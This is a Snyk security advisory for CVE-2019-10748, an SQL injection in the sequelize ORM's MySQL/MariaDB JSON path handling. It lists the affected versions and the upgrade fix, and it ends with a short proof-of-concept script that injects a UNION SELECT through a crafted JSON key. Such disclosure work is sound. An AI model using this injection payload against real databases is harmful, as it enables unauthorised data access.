SQL Injection Affecting sequelize package, versions >=3.0.0 <3.35.1>=4.0.0 <4.44.3>=5.0.0-0 <5.8.11
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JS-SEQUELIZE-450221
- published21 Jun 2019
- disclosed20 Jun 2019
- creditSnyk Security Team
Introduced: 20 Jun 2019
CVE-2019-10748 (opens in a new tab)How to fix?
Upgrade sequelize to version 3.35.1, 4.44.3, 5.8.11 or higher.
Overview
sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.
Affected versions of this package are vulnerable to SQL Injection due to JSON path keys not being properly escaped for the MySQL/MariaDB dialects.
PoC by Snyk
const Sequelize = require('sequelize');
const sequelize = new Sequelize('mysql', 'root', 'root', {
host: 'localhost',
port: '3306',
dialect: 'mariadb',
});
class Project extends Sequelize.Model {}
Project.init({
name: Sequelize.STRING,
target: Sequelize.JSON,
}, {
sequelize,
tableName: 'projects',
});
(async () => {
await sequelize.sync();
console.log(await Project.findAll({
where: {target: {"a')) AS DECIMAL) = 1 UNION SELECT VERSION(); -- ": 1}},
attributes: ['name'],
raw: true,
}));
})();
// https://github.com/sequelize/sequelize/blob/master/lib/dialects/abstract/query-generator.js#L1059-L1061
// case 'mariadb':
// pathStr = ['$'].concat(paths).join('.');
// return `json_unquote(json_extract(${quotedColumn},'${pathStr}'))`;